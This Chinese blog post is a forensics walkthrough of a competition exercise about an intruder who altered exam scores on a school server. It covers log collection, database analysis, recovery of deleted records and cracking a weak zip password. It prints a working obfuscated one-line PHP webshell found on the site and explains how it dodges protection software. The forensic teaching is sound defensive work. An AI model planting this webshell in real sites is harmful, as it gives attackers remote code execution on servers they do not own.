Monday, March 18, 2019

【黑客入侵取证纪实】入侵服务器修改考试成绩的取证和分析



来源:信息时代的犯罪侦查,原作者:先森

“坏人”非法入侵学校的服务器,恶意修改学生考试成绩。如何对这种情况进行取证和分析。此文提供了较为详细的实践。这是一道不错的电子取证比武题目。
已知信息
被入侵的服务器IP地址:192.168.232.147
(系统时间和IP可能有不一致的情况,请忽略)
取证和分析步骤
“先森”几乎运用纯手工的七个步骤,比较完整的追踪和定位了“黑客”的行为痕迹。部分地方的知识点不适合初学者阅读,小编自行删除了。
1、被入侵服务器的数据做证据固定,包括但不限于:系统版本、IP、进程信息、登录日志、时间、日志、数据库、网站、Web访问日志等。(20分)
(1)查看系统版本的几种命令:
lsb_release -a
uname -a
cat /proc/version
(2)查看IP:
ifconfig
(3)查看进程信息:
ps aux
ps -ef
(4)登录日志:
(注意:几处登陆日志被hacker删除了)
last
(5)网站日志:
因为服务器没有使用默认网站,所以无法从默认站点上获取网站的信息。
思路:首先查找http服务,发现是nginx。因为日志文件是需要实时写入的,遂查找nginx进程的正在使用的文件。
ps –ef | grep nginx //查找nginx的进程号
ll /proc/【pid】/fd //列出某进程打开文件的情况
/home/wwwlogs/nginx_error.log 是nginx的存放错误日志的文件。
/home/wwwlogs/access/log 是nginx的访客记录日志文件,一般包括IP、访问时间、访问的链接、来源链接、user-agent、页面状态码等。
(6)数据库日志:
取证时不建议直接登录数据库操作,因为这样会造成sql查询日志污染。
Linux下数据库一般是mysql,而mysql的配置文件一般命名为my.cnf。
查看mysql配置文件,没有什么发现。
然后尝试通过进程来获取mysql服务相关的信息:
ps aux | grep mysql
参数说明:
datadir:数据库数据存放路径
log-error:存放错误日志路径
pid-file:记录当前mysql进程的pid
basedir:数据库安装路径
plugin-dir:插件路径

通过参数我们得知mysql的路径位置为/usr/local/mysql/
进入mysql的目录:
cd /usr/local/mysql/var
发现通用查询日志(这里通过默认文件名判断的,若想准确定位需要用mysql内置函数来查找 show variables like 'general_log_file';):
这就意味着我们得到了mysql的操作日志。
mysql-bin.* ——二进制日志文件
我用notepad++打开了其中一个文件,发现有一个修改root密码的操作。拿到mysql数据的密码。
意外的收获:
在对日志进行梳理的时候,发现该服务器有自动备份history操作的备份计划任务。
cat /var/log/cron //查看计划任务日志
cat /tmp/backup-log/backuplog.sh //查看backuplog.sh的内容
可以看到该脚本将/var/log 和 /root/.bash_history 压缩并以带有时间的命名存放在/tmp/backup-log/ 文件夹下。
将backup-log文件夹down回来分析:
发现最早的history日志备份是我们取证过程中自动备份的。
同样/var/log/下的日志备份也是我们取证这段时间的。
而被入侵前和入侵时的日志被hacker刻意删除了。(由于手里没有好用的数据恢复工具,就没有对数据进行恢复,但不影响从其他途径取证)
考虑到服务器还会有遗留的备份日志压缩包的可能性,尝试查找一下:
locate .backup-history //locate会自动匹配带有“.backup-history”的文件
locate .var.log
分别得到命名为201708081534.tar.gz 和 var.log201708081329.tar.gz的两个压缩包。
解压这history压缩包:
该history文件只记录了管理员的操作,并没有记录hacker入侵时候的操作。所以此次备份于hacker入侵前自动备份。
(7)其他零碎的线索:
2017年8月8日下午三点四十五分从学生成绩表中导出了数据并命名为studient.csv 
2、从被入侵服务器中提取入侵者IP,判断入侵者的入侵方式,简述判断依据;(10)
查看nginx的access.log:
cd /home/wwwlogs/ //进入网站日志目录
cat access.log | more //分页查看日志
对web日志进行审计时候,发现有异常操作。这里对其中的一部分截取分析,第7019行和7020行:
通过日志我们发现,IP为192.168.232.150的访客,频繁访问了 adminer.php和1.php这两个文件。从这文件命名习惯来看,这两个文件看起来不是正常文件。
用locate命令去定位1.php,并查看1.php的内容:
locate 1.php //定位1.php的绝对路径
cat /home/wwwroot/mhedu.sh.cn/jyzl/images2/1.php  //查看1.php的内容
<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['xise']);?>
很明显这是“一句话木马”,所谓一句话木马就是将一段含有任意代码执行的php/asp/aspx/jsp等脚本上传到网站,当webshell客户端(一般为中国菜刀,当然一些黑客不满足于中国菜刀内置的功能,开发出功能更强的客户端)要对网站进行操作时,会用内置函数去调用(通过POST一段base64编码的代码)“一句话木马”,以实现相应的操作。“一句话“将原本功能复杂、体积庞大的“大马”精简到一行代码并且功能不减,是黑客最钟爱的后门手段。
分析一句话:
通过创建数组的方式实现代码“中转”从而欺骗防护软件达到任意代码执行功能。关于assert函数的介绍,摘自php官方手册:
bool assert ( mixed $assertion [, Throwable $exception ] )
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
请注意最后一句,如果assert中参数为字符串,将会被当作代码执行。而assert中的字符串则是通过xise这个参数传递过来的。将上面一句话精简后,如下:
<?php assert($_POST[‘xise’])?>
同时根据POST中的变量名xise我们可以推测出黑客使用的webshell管理器就是“XISE”——批量webshell &寄生虫 管理器。
我们继续追1.php的日志,尝试查找1.php最早被创建以及访问的时间:
ls –al /home/wwwroot/mhedu.sh.cn/jyzl/images2/1.php  //查看详细信息
1.php的创建时间为6月8日,考虑到文件创建时间可以被伪造,这里我们不做记录。
而网站日志里的第一次访问时间是不会被伪造的,得到8月8日下午四点四分hacker第一次访问了后门,所以hacker入侵服务器(写入webshell)的时间是8月8日下午四点四分之前。
同样的方法,我们定位adminer.php并获取它的信息:
locate adminer.php
ls –al /home/wwwroot/mhedu.sh.cn/adminer.php //查看详细信息,日期
通过对代码的分析,我们得知adminer.php是一个正常的数据库管理脚本(实则是大部分黑客的拖库利器):
同样的,我们追adminer.php第一次出现的时间:
8月8日下午三点五十九分出现。同时访问者的IP和入侵者的IP为同一个,所以我们相信 adminer.php 和 1.php 均是hacker上传的。剩下的我们重点分析192.168.232.150访问过的页面,当然其他的IP也不能忽视。
当审计完所有WEB日志后,发现adminer.php完全凌空出现在网站上,同样1.php也是。常规情况下,黑客WEB入侵会留下大量日志,如SQL注入、上传后门、文件扫描等等。而这里并没有出现任何WEB入侵的迹象。
前面在对登陆日志审计时,发现早期的日志不存在,猜测hacker可能提权后将日志和部分痕迹清理掉了。而清除日志需要用root权限,所以hacker已经拿到服务器的root权限且以root身份操作过服务器。
从1.php第一次出现和他出现之前最有一次访问网站时间间隔来看,hacker用完adminer.php后,中间有4分钟没有操作,之后hacker开始访问1.php。
我们推测有两个原因:要么是4分钟确实进行了入侵操作,但hacker把日志删除了;要么就是这4分钟他通过某种方式对网站写入了1.php,并非WEB层次上的。
假设第一个理由成立,黑客入侵后对关键WEB日志删除过,那他为什么不全部删除呢?日志里已经有他大量的IP访问记录了,全部删除岂不是更好?况且adminer.php和1.php的日志他为什么不删除?所以第一个理由被推翻,我们猜测通过服务器其他服务入侵的。
查看开放端口并判断入侵方式:
常见的3306、80、22端口开放,分别对应着mysql、nginx、sshd服务。Mysql的入侵一般就是密码暴力破解,nginx就是网站入侵(已排除)、sshd也是暴力破解。
通过之前的mysql日志(general log)分析,并没有发现有写入webshell的操作,最终推测可能是利用sshd服务入侵的(ssh日志被删除了,无法完全认定是ssh入侵的)。
注:查阅相关资料后,发现Winscp下使用sftp协议,执行命令或者操作目录文件,在history,lastlog,last,w下不会有记录,但在/var/log/secure下有日志。
判断可能是通过Winscp登陆,并且使用sftp协议来绕过记录。
3、入侵者是否存在删除日志的行为,如何删除?(10)
存在删除日志的行为。
history //查看bash操作历史
可以看到,hacker查找了名为”.bash_history”的文件,并删除了它。
前面在对/var/log下的日志进行取证时,发现丢失了大量的日志,如wtmp、secure、lastlog等等。所以hacker应该先删除了/var/log的日志,最后又删除了history日志。
4、入侵者有修改过数据库中的数据?修改是哪些数据?(5)
修改过数据库中的数据。
cat /usr/local/mysql/var/localhost.log |grep “update” //查看通用日志中的update操作
通过对mysql操作日志(通用日志)来看,发现hacker使用update命令,对张晓和李小东两人的成绩进行修改。修改前二人分别为580分和592分,修改后二人成绩分别为590分和600分。
5、服务器中存在一个被加密过的压缩包,请提取或破解其加密密码并还原到数据库中。(5)
思路:遍历所有加密压缩包,首先以找文件名奇怪的为主。
在没有任何准备的情况下,我真的遍历了所有压缩包,搜寻了大约1个多小时就放弃了。
使用命令遍历海量压缩包查找方式走投无路,我决定使用“笨办法”——编程。即通过遍历压缩包的加密位来判断当前压缩包是否被加密,然后再筛选。
因为需要知道压缩包HEX下加密位的特征,所以我打算在centos上加密压缩一个再提取加密位,当加密时候,发现只有两个压缩包支持:
这样范围缩小到后缀为.cbz和.zip。
第一种方法:使用find命令直接查找后缀为”cbz”/”zip”的文件,然后根据名字判断。
第二种:写程序遍历后缀为”cbz”/”zip”的文件并提取带有加密位的压缩包。
find / -type f –name “*.zip” //从根目录下遍历后缀为zip的文件
发现有一个叫做studient.sql.zip的压缩包,直觉告诉我这个压缩包绝对有问题。
成功找到加密压缩包student.sql.zip 
虽然使用find命令很快拿到了结果,但我还是想试试编程方式,顺便练练手。当我在windows上写好程序并且测试通过,准备放到centos上时候,意想不到的情况发生了:
通过在互联网上查找错误信息,我确认是python版本的问题,因为升级python会破坏数字证据,我放弃了这条思路。此脚本我放到“取证”文件夹的根目录了,写的很简单,有几个bug没修复。
爆破ZIP压缩包:
使用Archpr+弱口令爆破压缩包
跑一下密码,发现密码是111111。
考虑到直接恢复到服务器数据库会造成日志污染,我将mysql恢复到了我的一台服务器上:
第一步,执行SQL命令“create database student”,创建一个数据库;
第二步,在MYSQL-Front中打开student.sql,弹出窗口询问是否执行,点击是;
得到1879条学生信息数据。
6、入侵者是否删除过的数据库中的数据?是否可以恢复,如何恢复。(5)

删除过数据。
2017年8月8日下午四点六分四十八秒 hacker连接到数据库,并删除了第一批数据;
下午四点六分五十四秒,删除了第二批数据;
下午四点七分零三秒,删除了第三批数据;
下午四点七分零八秒,删除了第四批数据。
数据恢复过程:
相关资料:[如何通过mysql binlog 恢复数据]
Binlog的create time有问题,可能是服务器时间问题可以无视。
注意:恢复数据时,切记不要在取证机器上操作
登陆mysql数据库,查看恢复前的记录数:
mysql –u root –p //以数据库管理员root身份登陆;
show databases; //查看所有数据库;
use studient //使用studient数据库
show tables; //查看studient数据库中的表;
select count(*) from score; //查看score表的记录数。
看到只有1679条记录。
开始恢复数据:
cd /usr/local/mysql/var/ //进入到mysql存放日志的目录
ls //查看该目录下的文件
/usr/local/mysql/bin/mysqlbinlog mysql-bin.00001 >/root/Desktop/test.sql //使用mysqlbinlog 恢复mysql-bin.00001到桌面上并创建名为test.sql
……
/usr/local/mysql/bin/mysqlbinlog mysql-bin.00008 --stop-date="2017-08-08 16:05:00" >>/root/Desktop/test.sql //将00001-00007追加到test.sql后,我们需要对00008进行选择性恢复,即设置时间限制。因为hacker第一次删除数据是2017年8月8日下午四点六分四十八秒,为了最大降低恢复数据的误差,我将stop-date设置为“2017-0808 16:05:00”,然后继续追加到桌面的test.sql。
然后再在mysql中执行:
mysql>source /root/Desktop/test.sql //导入test.sql到数据库,即最后一步恢复数据。
当Sql语句执行完毕后,会出现大量的“ Query OK,x rows affected (0.01 sec)”表示执行test.sql语句成功,已恢复某条记录。
再次执行 select count(*) from score; 查看记录数,发现是1879条,完成恢复任务。
7、服务器中是否存在webshell程序,请提取相应的程序。并分析上述程序是否存在被访问或控制记录。分析访问日志并说明对应控制行为,访问端IP地址等信息。(5)
存在webshell。
具体webshell分析参见上方。
1.php的MD5: 4c5b47eb016d6e3ce3511a9bf4b6374d 
访问者的IP:192.168.232.150
User-agent:Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
总共匹配了54次对1.php的POST,因为POST内容一般不会被日志记录,所以我们无法得知hacker具体进行了哪些操作,已知hacker在网站上进行了54次操作。

No comments: